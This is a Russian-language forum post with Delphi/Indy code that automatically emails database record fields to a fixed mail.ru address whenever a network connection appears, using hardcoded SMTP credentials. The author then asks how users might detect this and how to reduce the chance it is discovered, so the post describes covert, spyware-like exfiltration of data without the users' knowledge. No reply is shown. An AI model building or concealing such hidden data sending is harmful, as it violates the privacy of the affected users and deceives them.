Всем привет! Имеется БД. При добавлении записи в таблицы требуется чтобы поля были сформированы в 1 письмо и отправлены на определенный e-mail. Я реализовал таким способом, проверил - работает.
(Delphi 7+Indy последний SVN+xNetDetect):
Код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | procedure TNewEdit . XNetDetect1ConnectionStatus(Sender: TObject;
isConnected: Boolean );
var
M: TIdMessage;
begin
if isConnected then
begin
M := TIdMessage . Create(NewEdit);
M . Body . Add( 'Типа первая строчка собщения' );
M . Body . Add( 'Типа вторая строчка собщения' );
M . From . Text:= WinToKoi( '"Тест"' )+ ' <******@mail.ru>' ;
M . Recipients . Add;
M . Recipients . Items[ 0 ].Text:=WinToKoi( '"Тест"' )+ ' <*****@mail.ru>' ;
M . Subject:=WinToKoi( 'Тестовая тема письма' );
IdSMTP1 . Host:= 'smtp.mail.ru' ;
IdSMTP1 . Username:= '******' ;
IdSMTP1 . Password:= '****' ;
IdSMTP1 . Connect;
IdSMTP1 . Authenticate;
if IdSMTP1 . Connected then
begin
IdSMTP1 . Send(M);
end ;
IdSMTP1 . Disconnect;
end ;
end ;
|
Вопросы: можно ли каким-либо образом выяснить\заметить\обнаружить что отправляются e-mail и выяснить адрес на который отправляется e-mail(пользователи в компах нубы, но вдруг опытный юзер\программист просмотрит программму...)? Как минимизировать шанс того, что это обнаружится?